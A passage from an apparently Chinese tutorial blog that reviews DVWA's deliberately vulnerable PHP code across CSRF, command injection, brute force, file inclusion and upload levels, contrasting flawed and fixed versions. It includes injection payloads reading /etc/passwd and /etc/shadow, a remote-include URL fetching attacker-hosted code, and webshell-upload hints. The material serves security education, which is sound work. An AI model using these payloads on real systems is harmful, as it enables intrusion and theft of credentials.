    <span class="hljs-comment">// Check that the current password is correct </span>
    $data = $db-&gt;prepare( <span class="hljs-string">'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;'</span> ); 
    $data-&gt;bindParam( <span class="hljs-string">':user'</span>, dvwaCurrentUser(), PDO::PARAM_STR ); 
    $data-&gt;bindParam( <span class="hljs-string">':password'</span>, $pass_curr, PDO::PARAM_STR ); 
    $data-&gt;execute(); 

    <span class="hljs-comment">// Do both new passwords match and does the current password match the user? </span>
    <span class="hljs-keyword">if</span>( ( $pass_new == $pass_conf ) &amp;&amp; ( $data-&gt;rowCount() == <span class="hljs-number">1</span> ) ) { 
        <span class="hljs-comment">// It does! </span>
        $pass_new = stripslashes( $pass_new ); 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        <span class="hljs-comment">// Update database with new password </span>
        $data = $db-&gt;prepare( <span class="hljs-string">'UPDATE users SET password = (:password) WHERE user = (:user);'</span> ); 
        $data-&gt;bindParam( <span class="hljs-string">':password'</span>, $pass_new, PDO::PARAM_STR ); 
        $data-&gt;bindParam( <span class="hljs-string">':user'</span>, dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data-&gt;execute(); 

        <span class="hljs-comment">// Feedback for the user </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Password Changed.&lt;/pre&gt;"</span>; 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Issue with passwords matching </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Passwords did not match or current password incorrect.&lt;/pre&gt;"</span>; 
    } 
} 

<span class="hljs-comment">// Generate Anti-CSRF token </span>
generateSessionToken(); 

<span class="hljs-meta">?&gt;</span></span>

在high的基础上,直接进行了密码再认证,这样一来,即使盗取了token,没有原始密码,也无法进行修改密码的操作,这样CSRF就可以完全避免了。所以通过这个CSRF系列,我们可以知晓,在csrf防御中,采用关键操作的原子性认证,是避免这一漏洞攻击的不二办法。其实我们只关注了CSRF部分,在之前的level中,也还存在了sql注入,在这个impossible版本里,还使用了之前提到的预操纵来进行数据库交互,降低了sql注入的风险。

Command Injection

Low level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'Submit'</span> ]  ) ) { 
    <span class="hljs-comment">// Get input </span>
    $target = $_REQUEST[ <span class="hljs-string">'ip'</span> ]; 

    <span class="hljs-comment">// Determine OS and execute the ping command. </span>
    <span class="hljs-keyword">if</span>( stristr( php_uname( <span class="hljs-string">'s'</span> ), <span class="hljs-string">'Windows NT'</span> ) ) { 
        <span class="hljs-comment">// Windows </span>
        $cmd = shell_exec( <span class="hljs-string">'ping  '</span> . $target ); 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// *nix </span>
        $cmd = shell_exec( <span class="hljs-string">'ping  -c 4 '</span> . $target ); 
    } 

    <span class="hljs-comment">// Feedback for the end user </span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;{$cmd}&lt;/pre&gt;"</span>; 
} 

<span class="hljs-meta">?&gt;</span></span>

过分相信用户的输入,直接拼接到ping 命令中,会造成命令注入。注意到常用的bash命令拼接的方式有||.&&,|,&,;这五个,所以由于没有过滤完全,我们直接进行命令拼接,然后执行任意命令,如127.0.0.1;cat /etc/passwd。

Medium level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'Submit'</span> ]  ) ) { 
    <span class="hljs-comment">// Get input </span>
    $target = $_REQUEST[ <span class="hljs-string">'ip'</span> ]; 

    <span class="hljs-comment">// Set blacklist </span>
    $substitutions = <span class="hljs-keyword">array</span>( 
        <span class="hljs-string">'&amp;&amp;'</span> =&gt; <span class="hljs-string">''</span>, 
        <span class="hljs-string">';'</span>  =&gt; <span class="hljs-string">''</span>, 
    ); 

    <span class="hljs-comment">// Remove any of the charactars in the array (blacklist). </span>
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

    <span class="hljs-comment">// Determine OS and execute the ping command. </span>
    <span class="hljs-keyword">if</span>( stristr( php_uname( <span class="hljs-string">'s'</span> ), <span class="hljs-string">'Windows NT'</span> ) ) { 
        <span class="hljs-comment">// Windows </span>
        $cmd = shell_exec( <span class="hljs-string">'ping  '</span> . $target ); 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// *nix </span>
        $cmd = shell_exec( <span class="hljs-string">'ping  -c 4 '</span> . $target ); 
    } 

    <span class="hljs-comment">// Feedback for the end user </span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;{$cmd}&lt;/pre&gt;"</span>; 
} 

<span class="hljs-meta">?&gt;</span></span>

这里采用黑名单过滤的方式,注意到黑名单的办法存在的通病就是过滤不完全。可以看到这里也一样,没有把之前提到的东西给过滤完全。其实highlevel也是一样的,过滤语句写得不严谨,多加了空格,造成绕过,这里就不再展开叙述了。同过这个例子可以直观的看到黑名单式过滤方式是不安全的,容易出岔子。接着我们将看到Impossible等级下的白名单试想方式。直接指定只接受num.num.num.num型的输入,也就是我们期望的输入,从而避免了命令执行。

Impossible level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'Submit'</span> ]  ) ) { 
    <span class="hljs-comment">// Check Anti-CSRF token </span>
    checkToken( $_REQUEST[ <span class="hljs-string">'user_token'</span> ], $_SESSION[ <span class="hljs-string">'session_token'</span> ], <span class="hljs-string">'index.php'</span> ); 

    <span class="hljs-comment">// Get input </span>
    $target = $_REQUEST[ <span class="hljs-string">'ip'</span> ]; 
    $target = stripslashes( $target ); 

    <span class="hljs-comment">// Split the IP into 4 octects </span>
    $octet = explode( <span class="hljs-string">"."</span>, $target ); 

    <span class="hljs-comment">// Check IF each octet is an integer </span>
    <span class="hljs-keyword">if</span>( ( is_numeric( $octet[<span class="hljs-number">0</span>] ) ) &amp;&amp; ( is_numeric( $octet[<span class="hljs-number">1</span>] ) ) &amp;&amp; ( is_numeric( $octet[<span class="hljs-number">2</span>] ) ) &amp;&amp; ( is_numeric( $octet[<span class="hljs-number">3</span>] ) ) &amp;&amp; ( sizeof( $octet ) == <span class="hljs-number">4</span> ) ) { 
        <span class="hljs-comment">// If all 4 octets are int's put the IP back together. </span>
        $target = $octet[<span class="hljs-number">0</span>] . <span class="hljs-string">'.'</span> . $octet[<span class="hljs-number">1</span>] . <span class="hljs-string">'.'</span> . $octet[<span class="hljs-number">2</span>] . <span class="hljs-string">'.'</span> . $octet[<span class="hljs-number">3</span>]; 

        <span class="hljs-comment">// Determine OS and execute the ping command. </span>
        <span class="hljs-keyword">if</span>( stristr( php_uname( <span class="hljs-string">'s'</span> ), <span class="hljs-string">'Windows NT'</span> ) ) { 
            <span class="hljs-comment">// Windows </span>
            $cmd = shell_exec( <span class="hljs-string">'ping  '</span> . $target ); 
        } 
        <span class="hljs-keyword">else</span> { 
            <span class="hljs-comment">// *nix </span>
            $cmd = shell_exec( <span class="hljs-string">'ping  -c 4 '</span> . $target ); 
        } 

        <span class="hljs-comment">// Feedback for the end user </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;{$cmd}&lt;/pre&gt;"</span>; 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Ops. Let the user name theres a mistake </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;pre&gt;ERROR: You have entered an invalid IP.&lt;/pre&gt;'</span>; 
    } 
} 

<span class="hljs-comment">// Generate Anti-CSRF token </span>
generateSessionToken(); 

<span class="hljs-meta">?&gt;</span></span>

Brute Force

暴力枚举攻击,服务端没有在后台设置错误次数上限和相关校验,就会给攻击者暴力枚举用户或者基于字典的密码暴力破解。所以正确的代码编写规范需要规定容许的错误尝试次数,超过这个值就会锁定账户一个定义长的时间。这里需要明确,光加入一个随机的token就想避免Brute Force是相当幼稚的,攻击者通过python脚本来抓取页面的token,就可以完全绕过,这也是high等级所犯的错。这里就不展示,只列出impossible等级和low 等级的代码,供对比阅读:

Low level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_GET[ <span class="hljs-string">'Login'</span> ] ) ) { 
    <span class="hljs-comment">// Get username </span>
    $user = $_GET[ <span class="hljs-string">'username'</span> ]; 

    <span class="hljs-comment">// Get password </span>
    $pass = $_GET[ <span class="hljs-string">'password'</span> ]; 
    $pass = md5( $pass ); 

    <span class="hljs-comment">// Check the database </span>
    $query  = <span class="hljs-string">"SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"</span>; 
    $result = mysql_query( $query ) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span>( <span class="hljs-string">'&lt;pre&gt;'</span> . mysql_error() . <span class="hljs-string">'&lt;/pre&gt;'</span> ); 

    <span class="hljs-keyword">if</span>( $result &amp;&amp; mysql_num_rows( $result ) == <span class="hljs-number">1</span> ) { 
        <span class="hljs-comment">// Get users details </span>
        $avatar = mysql_result( $result, <span class="hljs-number">0</span>, <span class="hljs-string">"avatar"</span> ); 

        <span class="hljs-comment">// Login successful </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;p&gt;Welcome to the password protected area {$user}&lt;/p&gt;"</span>; 
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;img src=\"{$avatar}\" /&gt;"</span>; 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Login failed </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;&lt;br /&gt;Username and/or password incorrect.&lt;/pre&gt;"</span>; 
    } 

    mysql_close(); 
} 

<span class="hljs-meta">?&gt;</span></span>

Impossible level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'Login'</span> ] ) ) { 
    <span class="hljs-comment">// Check Anti-CSRF token </span>
    checkToken( $_REQUEST[ <span class="hljs-string">'user_token'</span> ], $_SESSION[ <span class="hljs-string">'session_token'</span> ], <span class="hljs-string">'index.php'</span> ); 

    <span class="hljs-comment">// Sanitise username input </span>
    $user = $_POST[ <span class="hljs-string">'username'</span> ]; 
    $user = stripslashes( $user ); 
    $user = mysql_real_escape_string( $user ); 

    <span class="hljs-comment">// Sanitise password input </span>
    $pass = $_POST[ <span class="hljs-string">'password'</span> ]; 
    $pass = stripslashes( $pass ); 
    $pass = mysql_real_escape_string( $pass ); 
    $pass = md5( $pass ); 

    <span class="hljs-comment">// Default values </span>
    $total_failed_login = <span class="hljs-number">3</span>; 
    $lockout_time       = <span class="hljs-number">15</span>; 
    $account_locked     = <span class="hljs-keyword">false</span>; 

    <span class="hljs-comment">// Check the database (Check user information) </span>
    $data = $db-&gt;prepare( <span class="hljs-string">'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;'</span> ); 
    $data-&gt;bindParam( <span class="hljs-string">':user'</span>, $user, PDO::PARAM_STR ); 
    $data-&gt;execute(); 
    $row = $data-&gt;fetch(); 

    <span class="hljs-comment">// Check to see if the user has been locked out. </span>
    <span class="hljs-keyword">if</span>( ( $data-&gt;rowCount() == <span class="hljs-number">1</span> ) &amp;&amp; ( $row[ <span class="hljs-string">'failed_login'</span> ] &gt;= $total_failed_login ) )  { 
        <span class="hljs-comment">// User locked out.  Note, using this method would allow for user enumeration! </span>
        <span class="hljs-comment">//echo "&lt;pre&gt;&lt;br /&gt;This account has been locked due to too many incorrect logins.&lt;/pre&gt;"; </span>

        <span class="hljs-comment">// Calculate when the user would be allowed to login again </span>
        $last_login = $row[ <span class="hljs-string">'last_login'</span> ]; 
        $last_login = strtotime( $last_login ); 
        $timeout    = strtotime( <span class="hljs-string">"{$last_login} +{$lockout_time} minutes"</span> ); 
        $timenow    = strtotime( <span class="hljs-string">"now"</span> ); 

        <span class="hljs-comment">// Check to see if enough time has passed, if it hasn't locked the account </span>
        <span class="hljs-keyword">if</span>( $timenow &gt; $timeout ) 
            $account_locked = <span class="hljs-keyword">true</span>; 
    } 

    <span class="hljs-comment">// Check the database (if username matches the password) </span>
    $data = $db-&gt;prepare( <span class="hljs-string">'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;'</span> ); 
    $data-&gt;bindParam( <span class="hljs-string">':user'</span>, $user, PDO::PARAM_STR); 
    $data-&gt;bindParam( <span class="hljs-string">':password'</span>, $pass, PDO::PARAM_STR ); 
    $data-&gt;execute(); 
    $row = $data-&gt;fetch(); 

    <span class="hljs-comment">// If its a valid login... </span>
    <span class="hljs-keyword">if</span>( ( $data-&gt;rowCount() == <span class="hljs-number">1</span> ) &amp;&amp; ( $account_locked == <span class="hljs-keyword">false</span> ) ) { 
        <span class="hljs-comment">// Get users details </span>
        $avatar       = $row[ <span class="hljs-string">'avatar'</span> ]; 
        $failed_login = $row[ <span class="hljs-string">'failed_login'</span> ]; 
        $last_login   = $row[ <span class="hljs-string">'last_login'</span> ]; 

        <span class="hljs-comment">// Login successful </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;p&gt;Welcome to the password protected area &lt;em&gt;{$user}&lt;/em&gt;&lt;/p&gt;"</span>; 
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;img src=\"{$avatar}\" /&gt;"</span>; 

        <span class="hljs-comment">// Had the account been locked out since last login? </span>
        <span class="hljs-keyword">if</span>( $failed_login &gt;= $total_failed_login ) { 
            <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;p&gt;&lt;em&gt;Warning&lt;/em&gt;: Someone might of been brute forcing your account.&lt;/p&gt;"</span>; 
            <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;p&gt;Number of login attempts: &lt;em&gt;{$failed_login}&lt;/em&gt;.&lt;br /&gt;Last login attempt was at: &lt;em&gt;${last_login}&lt;/em&gt;.&lt;/p&gt;"</span>; 
        } 

        <span class="hljs-comment">// Reset bad login count </span>
        $data = $db-&gt;prepare( <span class="hljs-string">'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;'</span> ); 
        $data-&gt;bindParam( <span class="hljs-string">':user'</span>, $user, PDO::PARAM_STR ); 
        $data-&gt;execute(); 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Login failed </span>
        sleep( rand( <span class="hljs-number">2</span>, <span class="hljs-number">4</span> ) ); 

        <span class="hljs-comment">// Give the user some feedback </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;&lt;br /&gt;Username and/or password incorrect.&lt;br /&gt;&lt;br/&gt;Alternative, the account has been locked because of too many failed logins.&lt;br /&gt;If this is the case, &lt;em&gt;please try again in {$lockout_time} minutes&lt;/em&gt;.&lt;/pre&gt;"</span>; 

        <span class="hljs-comment">// Update bad login count </span>
        $data = $db-&gt;prepare( <span class="hljs-string">'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;'</span> ); 
        $data-&gt;bindParam( <span class="hljs-string">':user'</span>, $user, PDO::PARAM_STR ); 
        $data-&gt;execute(); 
    } 

    <span class="hljs-comment">// Set the last login time </span>
    $data = $db-&gt;prepare( <span class="hljs-string">'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;'</span> ); 
    $data-&gt;bindParam( <span class="hljs-string">':user'</span>, $user, PDO::PARAM_STR ); 
    $data-&gt;execute(); 
} 

<span class="hljs-comment">// Generate Anti-CSRF token </span>
generateSessionToken(); 

<span class="hljs-meta">?&gt;</span></span>

我们可以看到,在impossible代码中,不但设置了错误次数锁,Anti-CSRF token,而且还提供了暴力尝试信息反馈,当用户登陆成功后会将被暴力登陆的次数给反馈给正确登陆的用户。这个实现得益于,每次错误尝试都会更新last_login的时间和failed_login+1操作,然后将之入库。

Local File Inclusion

漏洞根据利用方式可以分为:

本地文件包含(Local File Inclusion),简称LFI。

远程文件包含(Remote File Inclusion),简称RFI。

涉及到的函数如下:

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行;

include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行;

require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含光从字面意思来看是可以通过漏洞利用泄露一些本地敏感文件,但是益于以上几个函数在包含文件的时候是默认把文件当成代码来对待,如果出现可执行的php片段就会执行这一性质,文件包含漏洞一般是可以进行任意代码执行的,只要我们能够让服务器包含我们可控的代码段。

Low level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-comment">// The page we wish to display </span>
$file = $_GET[ <span class="hljs-string">'page'</span> ]; 

<span class="hljs-meta">?&gt;</span></span>

没有对我们的输入做任何过滤,可以说是一点安全意识都没有。随便利用。举个栗子:[http://localhost/dvwa/vulnerabilities/fi/page=/etc/shadow](http://localhost/dvwa/vulnerabilities/fi/page=/etc/shadow)。当然也可以在服务端写下poc.php,利用http协议实现代码执行[ http://localhost/dvwa/vulnerabilities/fi/page=http://](http://localhost/dvwa/vulnerabilities/fi/page=http://)[ip]/poc.php。前提条件是allow_url_fopen和allow_url_include处于打开状态。

Medium level

<span class="php"><span class="hljs-meta">&lt;?php</span> 
<span class="hljs-comment">// The page we wish to display </span>
$file = $_GET[ <span class="hljs-string">'page'</span> ]; 

<span class="hljs-comment">// Input validation </span>
$file = str_replace( <span class="hljs-keyword">array</span>( <span class="hljs-string">"http://"</span>, <span class="hljs-string">"https://"</span> ), <span class="hljs-string">""</span>, $file ); 
$file = str_replace( <span class="hljs-keyword">array</span>( <span class="hljs-string">"../"</span>, <span class="hljs-string">"..\""</span> ), <span class="hljs-string">""</span>, $file ); 

<span class="hljs-meta">?&gt;</span></span>

首先这个基于黑名单的过滤,压根就没有把本地绝对路径考虑到,其次可以使用…/./,htthttpp进行绕过。

High level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-comment">// The page we wish to display </span>
$file = $_GET[ <span class="hljs-string">'page'</span> ]; 

<span class="hljs-comment">// Input validation </span>
<span class="hljs-keyword">if</span>( !fnmatch( <span class="hljs-string">"file*"</span>, $file ) &amp;&amp; $file != <span class="hljs-string">"include.php"</span> ) { 
    <span class="hljs-comment">// This isn't the page we want! </span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"ERROR: File not found!"</span>; 
    <span class="hljs-keyword">exit</span>; 
} 

<span class="hljs-meta">?&gt;</span></span>

这是一种基于白名单的过滤,只接受前缀为“file”的文件,咋一看很ok,然而却疏忽了file协议。[http://localhost/vulnerabilities/fi/?page=file:///etc/passwd](http://localhost/vulnerabilities/fi/?page=file:///etc/passwd)。

Impossible level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-comment">// The page we wish to display </span>
$file = $_GET[ <span class="hljs-string">'page'</span> ]; 

<span class="hljs-comment">// Only allow include.php or file{1..3}.php </span>
<span class="hljs-keyword">if</span>( $file != <span class="hljs-string">"include.php"</span> &amp;&amp; $file != <span class="hljs-string">"file1.php"</span> &amp;&amp; $file != <span class="hljs-string">"file2.php"</span> &amp;&amp; $file != <span class="hljs-string">"file3.php"</span> ) { 
    <span class="hljs-comment">// This isn't the page we want! </span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"ERROR: File not found!"</span>; 
    <span class="hljs-keyword">exit</span>; 
} 

<span class="hljs-meta">?&gt;</span></span>

这是相当的白名单,你赢了。但是想要文件量巨大的场景中维护这么一张白名单有点不太理智,所以笔者这种硬编码的方式不太常用。

Upload file

上传漏洞经常可以用来上传任意代码泄露系统信息,如<?php phpinfo();?>,甚至可以直接上传webshell,拿下服务器权限,所以这个漏洞是十分严重的。

Low level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'Upload'</span> ] ) ) { 
    <span class="hljs-comment">// Where are we going to be writing to? </span>
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . <span class="hljs-string">"hackable/uploads/"</span>; 
    $target_path .= basename( $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'name'</span> ] ); 

    <span class="hljs-comment">// Can we move the file to the upload folder? </span>
    <span class="hljs-keyword">if</span>( !move_uploaded_file( $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'tmp_name'</span> ], $target_path ) ) { 
        <span class="hljs-comment">// No </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;'</span>; 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Yes! </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;{$target_path} succesfully uploaded!&lt;/pre&gt;"</span>; 
    } 
} 

<span class="hljs-meta">?&gt;</span></span>

可以看到上面的代码对用户上传的文件($_FILE全局数组的形式)没有进行任何的验证操作,就直接将其move到了upload目录,这是相当危险的操作,攻击者可以毫无忌惮的随意日。

Medium level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'Upload'</span> ] ) ) { 
    <span class="hljs-comment">// Where are we going to be writing to? </span>
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . <span class="hljs-string">"hackable/uploads/"</span>; 
    $target_path .= basename( $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'name'</span> ] ); 

    <span class="hljs-comment">// File information </span>
    $uploaded_name = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'name'</span> ]; 
    $uploaded_type = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'type'</span> ]; 
    $uploaded_size = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'size'</span> ]; 

    <span class="hljs-comment">// Is it an image? </span>
    <span class="hljs-keyword">if</span>( ( $uploaded_type == <span class="hljs-string">"image/jpeg"</span> || $uploaded_type == <span class="hljs-string">"image/png"</span> ) &amp;&amp; 
        ( $uploaded_size &lt; <span class="hljs-number">100000</span> ) ) { <span class="hljs-comment">#只判断了MIME</span>

        <span class="hljs-comment">// Can we move the file to the upload folder? </span>
        <span class="hljs-keyword">if</span>( !move_uploaded_file( $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'tmp_name'</span> ], $target_path ) ) { 
            <span class="hljs-comment">// No </span>
            <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;'</span>; 
        } 
        <span class="hljs-keyword">else</span> { 
            <span class="hljs-comment">// Yes! </span>
            <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;{$target_path} succesfully uploaded!&lt;/pre&gt;"</span>; 
        } 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Invalid file </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;'</span>; 
    } 
} 

<span class="hljs-meta">?&gt;</span></span>

上面的代码加入了MIME判断,所谓的MIME判断是在请求头中的一个字段,用来指示文件类型,方便服务器进行对应的处理,只要抓包就可以随意修改,达到欺骗服务器的目的。(更多的解释可以查看:https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types)

High level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'Upload'</span> ] ) ) { 
    <span class="hljs-comment">// Where are we going to be writing to? </span>
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . <span class="hljs-string">"hackable/uploads/"</span>; 
    $target_path .= basename( $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'name'</span> ] ); 

    <span class="hljs-comment">// File information </span>
    $uploaded_name = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'name'</span> ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, <span class="hljs-string">'.'</span> ) + <span class="hljs-number">1</span>); 
    $uploaded_size = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'size'</span> ]; 
    $uploaded_tmp  = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'tmp_name'</span> ]; 

    <span class="hljs-comment">// Is it an image? </span>
    <span class="hljs-keyword">if</span>( ( strtolower( $uploaded_ext ) == <span class="hljs-string">"jpg"</span> || strtolower( $uploaded_ext ) == <span class="hljs-string">"jpeg"</span> || strtolower( $uploaded_ext ) == <span class="hljs-string">"png"</span> ) &amp;&amp; 
        ( $uploaded_size &lt; <span class="hljs-number">100000</span> ) &amp;&amp; 
        getimagesize( $uploaded_tmp ) ) { 

        <span class="hljs-comment">// Can we move the file to the upload folder? </span>
        <span class="hljs-keyword">if</span>( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
            <span class="hljs-comment">// No </span>
            <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;'</span>; 
        } 
        <span class="hljs-keyword">else</span> { 
            <span class="hljs-comment">// Yes! </span>
            <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;{$target_path} succesfully uploaded!&lt;/pre&gt;"</span>; 
        } 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Invalid file </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;'</span>; 
    } 
} 

<span class="hljs-meta">?&gt;</span></span>

我们首先看到这个代码中使用的验证手段( strtolower( $uploaded_ext ) == “jpg” || strtolower( $uploaded_ext ) == “jpeg” || strtolower( $uploaded_ext ) == “png” ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp )。

首先判断文件名结尾是不是’jpg’,’jepg’,’png’类型,然后调用getimagesize()函数获取图像大小,其实就是判断图像格式是否规范。

函数细节可以参看官网表述:http://php.net/manual/zh/function.getimagesize.php。 然后文件大小也进行了判断。所以这里主要存在两个限制条件,首先必须以特定文件名结尾,然后文件格式还得满足特定的图片格式。但是这样的代码虽然加大攻击难度,在一些条件成立的条件下,仍旧可以进行攻击,上传shell,首先图片格式可以伪造,在元数据中包含webshell,然后找到一个文件包含漏洞,就可以成功实现攻击,上传shell。

Impossible level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'Upload'</span> ] ) ) { 
    <span class="hljs-comment">// Check Anti-CSRF token </span>
    checkToken( $_REQUEST[ <span class="hljs-string">'user_token'</span> ], $_SESSION[ <span class="hljs-string">'session_token'</span> ], <span class="hljs-string">'index.php'</span> ); 

    <span class="hljs-comment">// File information </span>
    $uploaded_name = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'name'</span> ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, <span class="hljs-string">'.'</span> ) + <span class="hljs-number">1</span>); 
    $uploaded_size = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'size'</span> ]; 
    $uploaded_type = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'type'</span> ]; 
    $uploaded_tmp  = $_FILES[ <span class="hljs-string">'uploaded'</span> ][ <span class="hljs-string">'tmp_name'</span> ]; 

    <span class="hljs-comment">// Where are we going to be writing to? </span>
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . <span class="hljs-string">'hackable/uploads/'</span>; 
    <span class="hljs-comment">//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; </span>
    $target_file   =  md5( uniqid() . $uploaded_name ) . <span class="hljs-string">'.'</span> . $uploaded_ext; 
    $temp_file     = ( ( ini_get( <span class="hljs-string">'upload_tmp_dir'</span> ) == <span class="hljs-string">''</span> ) ? ( sys_get_temp_dir() ) : ( ini_get( <span class="hljs-string">'upload_tmp_dir'</span> ) ) ); 
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . <span class="hljs-string">'.'</span> . $uploaded_ext; 

    <span class="hljs-comment">// Is it an image? </span>
    <span class="hljs-keyword">if</span>( ( strtolower( $uploaded_ext ) == <span class="hljs-string">'jpg'</span> || strtolower( $uploaded_ext ) == <span class="hljs-string">'jpeg'</span> || strtolower( $uploaded_ext ) == <span class="hljs-string">'png'</span> ) &amp;&amp; 
        ( $uploaded_size &lt; <span class="hljs-number">100000</span> ) &amp;&amp; 
        ( $uploaded_type == <span class="hljs-string">'image/jpeg'</span> || $uploaded_type == <span class="hljs-string">'image/png'</span> ) &amp;&amp; 
        getimagesize( $uploaded_tmp ) ) { 

        <span class="hljs-comment">// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) </span>
        <span class="hljs-keyword">if</span>( $uploaded_type == <span class="hljs-string">'image/jpeg'</span> ) { 
            $img = imagecreatefromjpeg( $uploaded_tmp ); 
            imagejpeg( $img, $temp_file, <span class="hljs-number">100</span>); 
        } 
        <span class="hljs-keyword">else</span> { 
            $img = imagecreatefrompng( $uploaded_tmp ); 
